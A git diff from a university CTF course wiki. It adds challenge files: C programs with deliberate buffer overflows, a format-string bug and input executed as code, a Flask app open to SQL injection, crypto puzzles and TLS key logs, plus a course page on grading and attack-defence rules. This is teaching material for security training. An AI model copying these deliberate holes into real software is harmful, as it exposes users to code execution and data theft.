f66c7b14ff52bcc4e72c532e17f0e8aba0b35611ef7a05130b401149baa4aa3ca192aad7c7a2d436eb45326caabefa5c +SERVER_TRAFFIC_SECRET_0 6c974ee44cd45ca6d18296ebd315b142f556924af87d9ad84abea15dd4925216 8bcde8ccf307dfa2a9b9a996b6afbcab691e16039782646577b726919d5a512fe988b5c27a4928cdc6a46399ad7e38f2 +EXPORTER_SECRET 6c974ee44cd45ca6d18296ebd315b142f556924af87d9ad84abea15dd4925216 d6e96de237e0d3a25fedc0d05bc844fb98fee06a2965292a3e75f473becd9fb58e4afed5ed0a0c8dc7a86d1eb5f8532c +CLIENT_RANDOM 1ce341034b2546fc258212965d2edc18c4368bde558409ebd03ae4fcc1ef6745 2436e0efc3b29ac1e72419ec4bf1ceaf870a9cad3b6a77677fe3b48672f176b259efd34714be6c5c9449122b2b89fd37 +CLIENT_RANDOM b2008740f3109ec8a6264ecca1d12bc98defb6d17dfa2db0db7894745af226a8 cf35bb4aeae040d05b618916c668f785b7d97067147bc2c1afb3cb8ecb5629ec58b2c51ee7e9cd2807cb193ddc99595a +CLIENT_RANDOM 4d510c7472663c3a29ab5b8d37d808d20961599ac19d577e39520db780da2a53 2e3f796110e61812f0988f23e7bc82cd80f42e9be52f7b138ae632e494671a1d3bf95c3e233deb443ca159f1e200ee7b +CLIENT_RANDOM 149fa032711c8a415b89274fbdad0011867b5d293fa9043de3fd931d55939766 8d16a54224a9c8582c3fd3a8cc2aa7d6e5baeef72e6ed6d79313e89e8c9f6729ef499e60ed38c88f3a6c45b34ddb01bb +CLIENT_RANDOM 9be924543cb1a731c52902baa19f0593599396eb1e981086f3e02d592c8ab15f dfaa7fc58a996e35b8ba5e7c6e6df868c0eb48235cd6282a909c73abcabe813b3bc0d926f30fa73358c0d49b17daf42e +CLIENT_RANDOM dd1a6408d8293a8416e89fe4790cf5ad3d488df13381fd7ec8da9ad371b8ca60 b40959484cfffaa31ebaacc48e358770421ed5e12208819bec8cbc19152d52dc2770cf72406fccb8a674a5e11f356923 +CLIENT_HANDSHAKE_TRAFFIC_SECRET 0cc3036615d41cb5561d8be8321ebc5d68e1229107b676f5697c649e1b273591 24f62ce6c92894dc14208f61d931a1df0682d3d299e266cd5d032a7c21bd3081 +SERVER_HANDSHAKE_TRAFFIC_SECRET 0cc3036615d41cb5561d8be8321ebc5d68e1229107b676f5697c649e1b273591 776d15d061286b066b3492a648df9df101d30dc703054ccef1f6f55c514ee3f6 +CLIENT_TRAFFIC_SECRET_0 0cc3036615d41cb5561d8be8321ebc5d68e1229107b676f5697c649e1b273591 07c8144ab0d4a2bfd1dc941c73b131aa35251eaad93cf80a886c9156decd542e +SERVER_TRAFFIC_SECRET_0 0cc3036615d41cb5561d8be8321ebc5d68e1229107b676f5697c649e1b273591 b76c039ff211f47fa6c9279f5cfc14d0a07ed4944807ed8bcab03b55955f1ead +EXPORTER_SECRET 0cc3036615d41cb5561d8be8321ebc5d68e1229107b676f5697c649e1b273591 f97764bfc10cd42fcd7625011fef0ca55e3734d1cbd8fc9abea1019e1eacff4e +CLIENT_HANDSHAKE_TRAFFIC_SECRET 3f2e139bfdbeba13dd454e661cda6936f0b8128727a35c24b6f732f137a62a59 d0aaa719dd71de16708e7d5e8063d5002dabdc669a32feefef2207ac1ebde85f +SERVER_HANDSHAKE_TRAFFIC_SECRET 3f2e139bfdbeba13dd454e661cda6936f0b8128727a35c24b6f732f137a62a59 c9aa9c15a6fa8a1e729fa7620ab8d59388e59f7203750ee23496df9b5907200a +CLIENT_HANDSHAKE_TRAFFIC_SECRET 1e0487d1ce1689f18aa30a9ffebe4998f55bf03a3cc9d57edacbff7d49000c4a bcb174afd0a56f1f04b68f6cbfb8545788e5b426b375239b121a1122e29c4fd7 +SERVER_HANDSHAKE_TRAFFIC_SECRET 1e0487d1ce1689f18aa30a9ffebe4998f55bf03a3cc9d57edacbff7d49000c4a a4e64f2a8eb3da0e537f77a20c611b3eb3b29067d01518ee70528804b2c04a15 +CLIENT_HANDSHAKE_TRAFFIC_SECRET 87bc492f7d1da8c1a09c3d2898ad9c2614940483238e902e139e3639d8686864 60fef5573fc5f00fb387e130d034027a9f8d8e1a04d5a2766590c2be63e8cf82 +SERVER_HANDSHAKE_TRAFFIC_SECRET 87bc492f7d1da8c1a09c3d2898ad9c2614940483238e902e139e3639d8686864 2da7b6ebd5657085229134c2355e51bd9d2bdf81a5614ca731b265809464b590 +CLIENT_HANDSHAKE_TRAFFIC_SECRET 26f997583d93dfa361874360dc03970d5a6d6cac34c54d370231b18321079b61 03f272b03d456d51aceffffe6c7c2d58f1079d1efeef2a3584981142b223d462 +SERVER_HANDSHAKE_TRAFFIC_SECRET 26f997583d93dfa361874360dc03970d5a6d6cac34c54d370231b18321079b61 5639afbb4b13dc0d970ff1057f9601defce5a19a36cb118425f4cdadb47e28be +CLIENT_HANDSHAKE_TRAFFIC_SECRET c85dbf7fa5f214961ac8b6d71d75b2bb4a9e847589cb261deaf2caf020848673 5a3870058e6d81e426dcfacdc005cded8661977a2d9081aa648592fc04d86bd9 +SERVER_HANDSHAKE_TRAFFIC_SECRET c85dbf7fa5f214961ac8b6d71d75b2bb4a9e847589cb261deaf2caf020848673 dc2107f27e1850795ad0beaf14b3b1d33eb2345a979ecd07db535f101736872b +CLIENT_TRAFFIC_SECRET_0 3f2e139bfdbeba13dd454e661cda6936f0b8128727a35c24b6f732f137a62a59 5ade05df870da2ea4f9d774859785f2d732410dbe70cae930bb49b96c955feb4 +SERVER_TRAFFIC_SECRET_0 3f2e139bfdbeba13dd454e661cda6936f0b8128727a35c24b6f732f137a62a59 9ef6a2b23539b9b842e51b6160679f1f3b766d7ddb406daf17bcc65008628abc +EXPORTER_SECRET 3f2e139bfdbeba13dd454e661cda6936f0b8128727a35c24b6f732f137a62a59 1f1a901a980f1d73063b96ed6289ae0d13f1192f6fa363b4acbbf7cf5da05028 +CLIENT_TRAFFIC_SECRET_0 1e0487d1ce1689f18aa30a9ffebe4998f55bf03a3cc9d57edacbff7d49000c4a a247293b05652ae6cf2771a48fb015320fc998aa832e88be8ae1c677b29117fb +SERVER_TRAFFIC_SECRET_0 1e0487d1ce1689f18aa30a9ffebe4998f55bf03a3cc9d57edacbff7d49000c4a 10f10c7afbbc66afe3ad3ee6ea63ce316374dd85c4c292016dd928d7b5d4e6a1 +EXPORTER_SECRET 1e0487d1ce1689f18aa30a9ffebe4998f55bf03a3cc9d57edacbff7d49000c4a 652845eef2781aa325463aaaf688b2ef80c44cef2134d7301d9c02411757e756 +CLIENT_TRAFFIC_SECRET_0 87bc492f7d1da8c1a09c3d2898ad9c2614940483238e902e139e3639d8686864 fcd8c13a2607524c46b9db479db1370de38f491b580f4d7f2f497a692dee0ada +SERVER_TRAFFIC_SECRET_0 87bc492f7d1da8c1a09c3d2898ad9c2614940483238e902e139e3639d8686864 575f0b86b5972e5d4cf0e8577e0fd948d4006464cd1c280a11f7fd81e6c93b23 +EXPORTER_SECRET 87bc492f7d1da8c1a09c3d2898ad9c2614940483238e902e139e3639d8686864 8b659ef9264ff95e1608daa0b9e63f30338381d87ee52e9ca7e5c29732ea3389 +CLIENT_TRAFFIC_SECRET_0 26f997583d93dfa361874360dc03970d5a6d6cac34c54d370231b18321079b61 b4c72a9b033c870f0f02f99d1666504b70eff15debeed124aab2d6810435640e +SERVER_TRAFFIC_SECRET_0 26f997583d93dfa361874360dc03970d5a6d6cac34c54d370231b18321079b61 7d55e684be17c5e0927289269c1eaf9695d6ac989409da93a39fe297c2ac548f +EXPORTER_SECRET 26f997583d93dfa361874360dc03970d5a6d6cac34c54d370231b18321079b61 b1357a3cf2bf5784d4fa407fe719cdce2f47801661ccd4a630bfe601fa4956ee +CLIENT_TRAFFIC_SECRET_0 c85dbf7fa5f214961ac8b6d71d75b2bb4a9e847589cb261deaf2caf020848673 541afcf0fd7d4031eb69361763c30a6a78f0f14d339d935d35f0d813878aea1e +SERVER_TRAFFIC_SECRET_0 c85dbf7fa5f214961ac8b6d71d75b2bb4a9e847589cb261deaf2caf020848673 7dc9e68d270308714f406c94e7a11bb5e909e57be91d9eddf3737a2ed68e0f7c +EXPORTER_SECRET c85dbf7fa5f214961ac8b6d71d75b2bb4a9e847589cb261deaf2caf020848673 50568b4828becd80eb753ba76e9b2cabfe705c6298ba933c4094c44b191e2d75 +CLIENT_RANDOM 5e99f6925655b477255c1410f736cc9a33cefca9f7cc122cae05954474a1b166 dd7d7bfe21eed5fe0b1da9750e560e18df2f50c8018897455f5d59e66c15d1f38217b853a4fd543fa557ad2047ca3be0 +CLIENT_RANDOM 5e99f6f0e820ddd3a5619fc4750eb06701b99f74f3593c095cf55d9f15cc48cc 60c7672a8f6aaaeae23a548b01834c03ca3dd239d1ae4e3b8f9139e74eb7cc071f08634279dcc6ef591ba8f4d16d91dc diff --git a/CS315/2021/file/chall1-2.pcapng b/CS315/2021/file/chall1-2.pcapng new file mode 100644 index 000000000..e4f82c61b Binary files /dev/null and b/CS315/2021/file/chall1-2.pcapng differ diff --git a/CS315/2021/file/chall1-3.pcapng b/CS315/2021/file/chall1-3.pcapng new file mode 100644 index 000000000..422e080cf Binary files /dev/null and b/CS315/2021/file/chall1-3.pcapng differ diff --git a/CS315/2021/file/chall11-1.py b/CS315/2021/file/chall11-1.py new file mode 100644 index 000000000..b441ec2aa --- /dev/null +++ b/CS315/2021/file/chall11-1.py @@ -0,0 +1,26 @@ +from Crypto.Util.number import bytes_to_long +def f(n): + q=[True]*(n + 1) + r=2 + while r**2<=n: + if q[r]: + for i in range(r**2,n+1,r):q[i] = False + r += 1 + return [p for p in range(2,n+1) if q[p]] +class G: + def __init__(self, f): + self.f = f + self.state = 1 + def move(self): + q=1 + for p in self.f: + if self.state%p!=0: + self.state=self.state*p//q + return + q*=p +flag = open('flag.txt','r').read().strip().encode() +flag=bytes_to_long(flag) +gen = G(f(pow(10,6))) +for _ in range(flag):gen.move() +print('enc =',gen.state) +# enc = 31101348141812078335833805605789286074261282187811930228543150731391596197753398457711668323158766354340973336627910072170464704090430596544129356812212375629361633100544710283538309695623654512578122336072914796577236081667423970014267246553110800667267853616970529812738203125516169205531952973978205310 \ No newline at end of file diff --git a/CS315/2021/file/chall11-2.py b/CS315/2021/file/chall11-2.py new file mode 100644 index 000000000..b46a0ae79 --- /dev/null +++ b/CS315/2021/file/chall11-2.py @@ -0,0 +1,26 @@ +print('Find my number N, and I will give you the flag.') +def f(N,k): + while min(N,k)>0: + if k>N: N,k = k,N + N%=k + return max(N,k) +import random +N = random.getrandbits(512) +for i in range(600): + print(f"Try #{i+1}: ") + k = input(f'Enter k: ') + l = input(f'Enter l: ') + try: + k= int(k) + assert 0 +#include +#include +#include +#define FLAGSIZE_MAX 64 +char flag[FLAGSIZE_MAX]; + +void sigsegv_handler(int sig) { + fprintf(stderr, "%s\n", flag); + fflush(stderr); + exit(1); +} + +void vuln(){ + char buf[16]; + gets(buf); +} + +int main(int argc, char **argv){ + //open the flag.txt file + FILE *f = fopen("flag.txt","r"); + if (f == NULL) { + printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); + exit(0); + } + //Read from the file to flag + fgets(flag,FLAGSIZE_MAX,f); + //If there is a SIGSEGV run sigsegv_handler + signal(SIGSEGV, sigsegv_handler); + //gid settings + gid_t gid = getegid(); + setresgid(gid, gid, gid); + + puts("Please enter your string: \n"); + vuln(); + printf("Thanks! Received: %s", argv[1]); + return 0; +} \ No newline at end of file diff --git a/CS315/2021/file/chall2-2 b/CS315/2021/file/chall2-2 new file mode 100644 index 000000000..1cd593acb Binary files /dev/null and b/CS315/2021/file/chall2-2 differ diff --git a/CS315/2021/file/chall2-2.c b/CS315/2021/file/chall2-2.c new file mode 100644 index 000000000..e97a5d58f --- /dev/null +++ b/CS315/2021/file/chall2-2.c @@ -0,0 +1,42 @@ +#include +#include +#include +#include +#include + +#define BUFSIZE 100 +#define FLAGSIZE 64 + +void win(unsigned int arg1, unsigned int arg2) { + char buf[FLAGSIZE]; + FILE *f = fopen("flag.txt","r"); + if (f == NULL) { + printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); + exit(0); + } + + fgets(buf,FLAGSIZE,f); + if (arg1 != 0xDEADBEEF) + return; + if (arg2 != 0xDEADC0DE) + return; + printf(buf); +} + +void vuln(){ + char buf[BUFSIZE]; + gets(buf); + puts(buf); +} + +int main(int argc, char **argv){ + + setvbuf(stdout, NULL, _IONBF, 0); + + gid_t gid = getegid(); + setresgid(gid, gid, gid); + + puts("Please enter your string: "); + vuln(); + return 0; +} diff --git a/CS315/2021/file/chall2-3 b/CS315/2021/file/chall2-3 new file mode 100644 index 000000000..7bf31ec58 Binary files /dev/null and b/CS315/2021/file/chall2-3 differ diff --git a/CS315/2021/file/chall2-3.c b/CS315/2021/file/chall2-3.c new file mode 100644 index 000000000..df4514cde --- /dev/null +++ b/CS315/2021/file/chall2-3.c @@ -0,0 +1,11 @@ +// gcc -m64 -z execstack -fPIE -pie -z now chall3.c -o chall3 +int main() { + char buf[0x400]; + int n, i; + n = read(0, buf, 0x400); + if (n <= 0) return 0; + for (i = 0; i < n; i++) { + if(buf[i] < 32 || buf[i] > 126) return 0; + } + ((void(*)(void))buf)(); +} diff --git a/CS315/2021/file/chall3-1 b/CS315/2021/file/chall3-1 new file mode 100644 index 000000000..9024e7e85 Binary files /dev/null and b/CS315/2021/file/chall3-1 differ diff --git a/CS315/2021/file/chall3-1.c b/CS315/2021/file/chall3-1.c new file mode 100644 index 000000000..bfe67469b --- /dev/null +++ b/CS315/2021/file/chall3-1.c @@ -0,0 +1,34 @@ +#include +#include + +int main(void) +{ + char buffer[0x200]; + char flag[0x200]; + + setbuf(stdout, NULL); + setbuf(stdin, NULL); + setbuf(stderr, NULL); + + memset(buffer, 0, sizeof(buffer)); + memset(flag, 0, sizeof(flag)); + + int fd = open("flag.txt", O_RDONLY); + if (fd == -1) { + puts("failed to read flag. please contact a TA if this is remote"); + exit(1); + } + + read(fd, flag, sizeof(flag)); + close(fd); + + puts("Admin panel: tell me the report!\n"); + + read(0, buffer, sizeof(buffer) - 1); + buffer[strcspn(buffer, "\n")] = 0; + + if (!strncmp(buffer, "please", 6)) { + printf(buffer); + puts(" > log!"); + } +} diff --git a/CS315/2021/file/chall3-2 b/CS315/2021/file/chall3-2 new file mode 100644 index 000000000..903e246ac Binary files /dev/null and b/CS315/2021/file/chall3-2 differ diff --git a/CS315/2021/file/chall3-2.c b/CS315/2021/file/chall3-2.c new file mode 100644 index 000000000..4b54171e3 --- /dev/null +++ b/CS315/2021/file/chall3-2.c @@ -0,0 +1,34 @@ +#include +#include +#include + +void super_duper_secret_enroll_please_ret_to_me() +{ + char flag[0x100] = {0}; + FILE *fp = fopen("./flag.txt", "r"); + if (!fp) + { + puts("no flag!! contact a member of cs315"); + exit(-1); + } + fgets(flag, 0xff, fp); + puts(flag); + fclose(fp); +} + +int main(void) +{ + char comments_and_concerns[32]; + + setbuf(stdout, NULL); + setbuf(stdin, NULL); + setbuf(stderr, NULL); + + puts("alright, I heard some of u can't pick this course because too many students are coming to CS315"); + puts("my boss just told me this course isn't very easy and he wants me to design a challenge to examine those who want to be enrolled."); + puts("xs, I don't know anything about security. I just walk around and serve coffee in lab."); + puts("I'm going to put this function un-reachable and make sure nobody got enrolled."); + puts("whatever u say, I'm not going to give u flag."); + + gets(comments_and_concerns); +} diff --git a/CS315/2021/file/chall3-3 b/CS315/2021/file/chall3-3 new file mode 100644 index 000000000..7cf350763 Binary files /dev/null and b/CS315/2021/file/chall3-3 differ diff --git a/CS315/2021/file/chall4-1.txt b/CS315/2021/file/chall4-1.txt new file mode 100644 index 000000000..01a73c5a1 --- /dev/null +++ b/CS315/2021/file/chall4-1.txt @@ -0,0 +1,198 @@ +adar +adibide +administrazio +administrazioa +agindu +aginduen +ahalegin +ahots +alde +ale +amaitu +apurtu +arauketa +araututa +argazki +argitalpenak +ari +ariketa +arin +arma +arrantz +arrantza +arrautza +arrunta +artxiboa +askatuta +asmatu +ataria +ate +atera +aupa +aurkezpen +aurkitu +aurrera +azken +azter +azterketa +bai +baliabide +baliagarri +banatua +bateragarri +baztertu +begiratu +berdin +berezi +berri +besteak +bete +bidai +bidaia +bidali +bihurtu +bilatu +bildu +birtual +blogak +bota +buelta +bukatu +bulego +buzoia +copyleft +dastatu +dataz +dei +deitu +diaspora +dohain +dokumentuak +dominioak +ebaki +egi +egin +egun +egutegi +egutegia +elikatze +elkarte +enpresak +erabili +eragiketa +eragile +erakundeak +erakutsi +erantzun +eredu +erosi +erosketa +eroski +erreala +errez +eskatu +eskubi +estatistikak +euskara +eutsi +ez +ezaguntz +ezkutatu +fitxategia +foru +gaizto +galdera +galdetu +garrantzitsu +gertu +gestio +gidak +gizartea +gogoratu +gonbidatu +gora +gorde +harrapatu +hasi +helbide +herri +hezkuntza +hil +hitz +hizkuntza +hosto +igo +ikasi +ikur +ikusi +informazio +interesgarri +interlagunok +irakurri +ireki +irekita +irudikapen +iturri +itxaron +itxi +itxia +itxita +itzultzaile +jaitsi +jarraitu +jaso +jator +kendu +konexioak +kurtso +laburpena +lagin +lagundu +lantegi +leiho +leku +liburu +loturak +makusi +marraztu +media +mezu +mezuak +moztu +mugitu +norabide +ohar +oharra +ohartu +on +ondo +ordaindu +osatu +pagatu +piztu +politika +probatu +proiektua +saiatu +sail +saio +saioa +saldu +sarrera +sartu +secret +seilu +sistema +sortu +sustapena +talde +taula +teknologia +transmititu +tresna +txartel +txostena +utzi +web +zulo +zuzen diff --git a/CS315/2021/file/chall4-3.py b/CS315/2021/file/chall4-3.py new file mode 100644 index 000000000..238416e85 --- /dev/null +++ b/CS315/2021/file/chall4-3.py @@ -0,0 +1,182 @@ +from flask import ( + Flask, + request, + render_template_string, + session, + redirect, + send_file +) +from random import SystemRandom +import sqlite3 +import os + +app = Flask(__name__) +app.secret_key = os.getenv('FLASK_KEY') + +rand = SystemRandom() + +allowed_characters = set( + 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' +) + + +def execute(query): + con = sqlite3.connect('db/db.sqlite3') + cur = con.cursor() + cur.execute(query) + con.commit() + return cur.fetchall() + + +def generate_token(): + return ''.join( + rand.choice(list(allowed_characters)) for _ in range(32) + ) + + +def create_user(username, password): + if any(c not in allowed_characters for c in username): + return (False, 'Alphanumeric usernames only, please.') + if len(username) < 1: + return (False, 'Username is too short.') + if len(password) > 50: + return (False, 'Password is too long.') + other_users = execute( + f'SELECT * FROM users WHERE username=\'{username}\';' + ) + if len(other_users) > 0: + return (False, 'Username taken.') + execute( + 'INSERT INTO users (username, password)' + f'VALUES (\'{username}\', \'{password}\');' + ) + return (True, '') + + +def check_login(username, password): + if any(c not in allowed_characters for c in username): + return False + correct_password = execute( + f'SELECT password FROM users WHERE username=\'{username}\';' + ) + if len(correct_password) < 1: + return False + return correct_password[0][0] == password + + +@app.route('/', methods=['GET', 'POST']) +def login(): + error = '' + if request.method == 'POST': + valid_login = check_login( + request.form['username'], + request.form['password'] + ) + if valid_login: + session['username'] = request.form['username'] + return redirect('/message') + error = 'Incorrect username or password.' + if 'username' in session: + return redirect('/message') + return render_template_string(''' + +
+

COMPASS Note System. Login to use!

+
+ + + + + +
+

{{ error }}

+ Register +
+ ''', error=error) + + +@app.route('/register', methods=['GET', 'POST']) +def register(): + message = '' + if request.method == 'POST': + success, message = create_user( + request.form['username'], + request.form['password'] + ) + if success: + session['username'] = request.form['username'] + return redirect('/message') + return render_template_string(''' + +
+

Register!

+
+ + + + + +
+

{{ error }}

+
+ ''', error=message) + + +@app.route('/message') +def message(): + if 'username' not in session: + return redirect('/') + if session['username'] == 'hackin9': + return send_file( + 'flag.mp3', + attachment_filename='flag-at-end-of-file.mp3' + ) + return ''' + +
+

You are logged in!

+

Unfortunately, you do not have access to note system.

+

(Only our boss has access!)

+

(username: hackin9)

+ Log out +
+ ''' + + +@app.route('/logout') +def logout(): + if 'username' not in session: + return redirect('/') + del session['username'] + return redirect('/') + + +def init(): + # this is terrible but who cares + execute(''' + CREATE TABLE IF NOT EXISTS users ( + username TEXT PRIMARY KEY, + password TEXT + ); + ''') + execute('DROP TABLE users;') + execute(''' + CREATE TABLE users ( + username TEXT PRIMARY KEY, + password TEXT + ); + ''') + + # put hackin9 into db + hackin9_password = generate_token() + execute( + 'INSERT OR IGNORE INTO users (username, password)' + f'VALUES (\'hackin9\', \'{hackin9_password}\');' + ) + execute( + f'UPDATE users SET password=\'{hackin9_password}\'' + f'WHERE username=\'hackin9\';' + ) + + +init() diff --git a/CS315/2021/file/chall6-1.apk b/CS315/2021/file/chall6-1.apk new file mode 100644 index 000000000..7ba6fa009 Binary files /dev/null and b/CS315/2021/file/chall6-1.apk differ diff --git a/CS315/2021/file/chall6-3.jar b/CS315/2021/file/chall6-3.jar new file mode 100644 index 000000000..83bb7a0e6 Binary files /dev/null and b/CS315/2021/file/chall6-3.jar differ diff --git a/CS315/2021/file/chall7-1.cap b/CS315/2021/file/chall7-1.cap new file mode 100644 index 000000000..86da24108 Binary files /dev/null and b/CS315/2021/file/chall7-1.cap differ diff --git a/CS315/2021/file/chall7-2.7z b/CS315/2021/file/chall7-2.7z new file mode 100644 index 000000000..d482e1e81 Binary files /dev/null and b/CS315/2021/file/chall7-2.7z differ diff --git a/CS315/2021/file/chall8-1.mp3 b/CS315/2021/file/chall8-1.mp3 new file mode 100644 index 000000000..0824dfd2c Binary files /dev/null and b/CS315/2021/file/chall8-1.mp3 differ diff --git a/CS315/2021/file/chall8-2.zip b/CS315/2021/file/chall8-2.zip new file mode 100644 index 000000000..10cd3e4f7 Binary files /dev/null and b/CS315/2021/file/chall8-2.zip differ diff --git a/CS315/2021/file/chall8-3.pcapng b/CS315/2021/file/chall8-3.pcapng new file mode 100644 index 000000000..5ab413949 Binary files /dev/null and b/CS315/2021/file/chall8-3.pcapng differ diff --git a/CS315/2021/file/chall8/index.html b/CS315/2021/file/chall8/index.html new file mode 100644 index 000000000..8cf130c19 --- /dev/null +++ b/CS315/2021/file/chall8/index.html @@ -0,0 +1,8017 @@ + + + + + + + + + + + + + + + + + + + + + + + 禁止内卷 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

禁止内卷

+

该放题时自会放题

+

提前做题体验极差

+

做完发群更是一绝

+

拒绝焦虑从我做起

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/file/ld-linux-x86-64.so.2 b/CS315/2021/file/ld-linux-x86-64.so.2 new file mode 100644 index 000000000..73371ab42 Binary files /dev/null and b/CS315/2021/file/ld-linux-x86-64.so.2 differ diff --git a/CS315/2021/file/libc.so.6 b/CS315/2021/file/libc.so.6 new file mode 100644 index 000000000..1b7c609fe Binary files /dev/null and b/CS315/2021/file/libc.so.6 differ diff --git a/CS315/Introduction/index.html b/CS315/Introduction/index.html new file mode 100644 index 000000000..f612f11f2 --- /dev/null +++ b/CS315/Introduction/index.html @@ -0,0 +1,8417 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CS315 CTF Track - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CS315 CTF Track

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TopicsGrade
Class Participation40
Lab 1: Packet Sniffing and Wireshark60+10
Lab 2: Secure Coding and Buffer Overflows60+10
Lab 3: Secure Coding and Format-String Vulnerability60+10
Lab 4: Scanning, Reconnaissance, and Penetration Testing60+10
Lab 5: Reverse Engineering and Obfuscation60+10
Lab 6: IoT Security and Wireless Exploitation60+10
Lab 7: Nailgun Attack60+10
Lab 8: Nailgun Defense60+10
Lab 9: Dirty COW Attack60+10
Lab 10: RSA Public-Key Encryption and Signature60+10
Lab 11: Web Security60+10
Lab 12: Return-to-libc & Return Oriented Programming60+10
Attack-Defense CTF120
Total1000
+

The lab submission is the same as the Lab track, while CTF has 240 points in total. 120 points of challenges & virtual machine penetration, and 120 points of AWD CTF.

+

Let's introduce something about the CTF track.

+

Overview

+

CTF majors in the practice part of computer security. CTF (Capture the flag) is one kind of cybersecurity game for hacking and penetration testing. In the real world hacking is illegal and dangerous, while some developers found a new type of game: establish a target box, and try to attack it.

+

In the CTF track, our mission is to solve some simulation challenges and try to grab the top-secret flag from the box. We would have several challenges or virtual machine boxes every week, our goal is to find a vulnerability and use it to achieve some objectives:

+
    +
  1. Run arbitrary code from remote (RCE).
  2. +
  3. Privilege escalation.
  4. +
  5. Reveal secret information (flag).
  6. +
+

The ability we need to learn in this track is the real-world hacking methodology. We not only need to solve some CTF challenges that focus on specific vulnerabilities but also a from-zero-to-root hacking using a well-designed target virtual machine. At the end of this semester, we also need to run an Attack-with-Defense competition, in which every player attacks others and fixes their vulnerabilities.

+

The learning involves:

+
    +
  • Find the correct information from the Internet.
  • +
  • Utilize exploits and launch a cybersecurity attack in practice.
  • +
  • How to patch a vulnerability.
  • +
  • Contribute to real-world cybersecurity, and earn some tips from bug bounty.
  • +
+

Be careful, CS315 is NOT easy. We need a lot of computer science knowledge to run a simple attack. Please make sure you have the following requirements:

+
    +
  • Linux usage and compilation from source code.
  • +
  • Network protocol basics.
  • +
  • Programming with any language.
  • +
+

Submission

+

We would have 3 types of assignments. During the CTF track, we would use a CTF platform as a practice environment and submission check.

+

Inside the university: http://detroit.sustech.edu.cn/

+

Through public Internet: http://116.7.234.225/

+

CTF Challenge

+
Example:
+try to find the plain text of this cipher text.
+iodj{brx'uh_zhofrph_wr_wkh_fv315!}
+Solution:
+Use Caesar cipher, left rotate move every letter, and find the correct plain text.
+flag{you're_welcome_to_the_cs315!}
+
+

The challenge is not a fully functional service. We can focus on the specific part of the real-world vulnerability. The final mission of the CTF challenge is to find a special string that starts with flag or cs315.

+

Submit this string to the challenge platform.

+

However, the assignment we need to submit on the blackboard is not only the flag, we also need to post a writeup for this challenge. Simply, a writeup is the step to solve the challenge. Just like mathematics questions, write some steps instead of only the result.

+

Virtual Machine Box

+

A virtual machine box is a .iso file that contains some websites or services. We first know nothing about the target box. Usually, a virtual machine box contains a real-world-like service, for example, a blog, or an online shopping platform.

+

We need to retrieve the root privilege in this box, each step we would get a flag as a step mark.

+
    +
  1. Scan the local IP and find the address of the virtual machine.
  2. +
  3. Information gathering and finding the open services running on the VM.
  4. +
  5. Attack the vulnerable service and get user access to the SSH service.
  6. +
  7. Privilege escalation to get root sid.
  8. +
+

We would have 2 virtual machine box hacking in the 4th week and 8th week.

+

Attack-with-Defense

+

The final exam for the CTF track is the AWD game with all CTF track players. Attack-with-Defense requires everyone to have a server, several services are running on the server. All the players need to keep the services running, fix the vulnerabilities in the service, and attack others' servers.

+

Every method is allowed.

+
    +
  • Left a trojan on others' servers.
  • +
  • Deploy an EDR on the self server.
  • +
  • Sniffing the network to capture payload or flag.
  • +
  • Use honey pot.
  • +
  • Social engineering or physical attack.
  • +
+

This game would need us to team up. Each team has 4 members, who work together to win the game.

+

Grade

+

The grading system we use would try to eliminate the possibility of the rat race. Attitude is no substitute for competence. The weekly challenges and virtual machines have a maximum score of 10, while the final AWD game doesn't have a maximum score, which means you can get as many as possible points in this game.

+

For the weekly challenge, we have 3 challenges every week:

+
    +
  • One easy challenge, can be solved using lecture & lab knowledge. - 5 points.
  • +
  • One medium challenge, can be solved after some searching and reading of extra materials (textbook). - 5 points.
  • +
  • One hard / very hard challenge, for real hackers and experts. - a bonus for the AWD game.
  • +
+

Let's explain the bonus challenge. The grading system for the AWD game is a log function:

+

score = (log_1.2(x))^(1+y/100)

+

x stands for the final points you earn in the AWD, usually, a team has 50,000 initial points, through attacking and defending, you can earn points from others or lose points from others' attacks.

+

For a tuneful network, without any cybersecurity attacks, every team would get 60 points out of 120 points. However, if a team can earn 1,000,000 points, this team can have 75 points out of 120 points.

+

Quite a few, right?

+

But this isn't the final grade, let's talk about the y in the exponent. This variable stands for the bonus challenges the team solves in the semester. Each bonus challenge can have 1 bonus points, which gives y some bonus. For a 4-member team, if several members have the same bonus challenge solved, the y won't be calculated twice (still the same as the bonus points for this challenge).

+

The maximum y value would be around 20.

+

For example, Frankss solved 6 out of 20 bonus challenges, while Monad solved 7 out of 20 bonus challenges, and they have 3 common solutions to the same challenge. The bonus y value would be 10.

+

If a team has all bonus points 20, they can have 120 points (maximum) in the AWD with only 19,000 AWD points.

+

Be aware, that this grading system is only for the elimination of the rat race. I hope everyone can learn about cybersecurity, instead of becoming a script kid.

+

Extra Bonus

+

Just like the research track's special rule, if you successfully submitted a paper, the research track would give bonus points. In the CTF track, we can have some similar methods to win the bonus.

+
    +
  • Join a province-level or higher CTF competition and qualified for the final round, and win at least a prize.
  • +
  • Win a prize from bug bounty.
  • +
  • Discover or patch some vulnerabilities, get a CVE / CNNVD number (please don't submit useless vulnerabilities, the goal is to contribute to the cybersecurity, not the CVE itself).
  • +
  • +

    Have participated in the DEF CON final.

    +
  • +
  • +

    Any other contribution to real-world security.

    +
  • +
+

Textbook

+

I would reference this book from the Nu1L team:

+

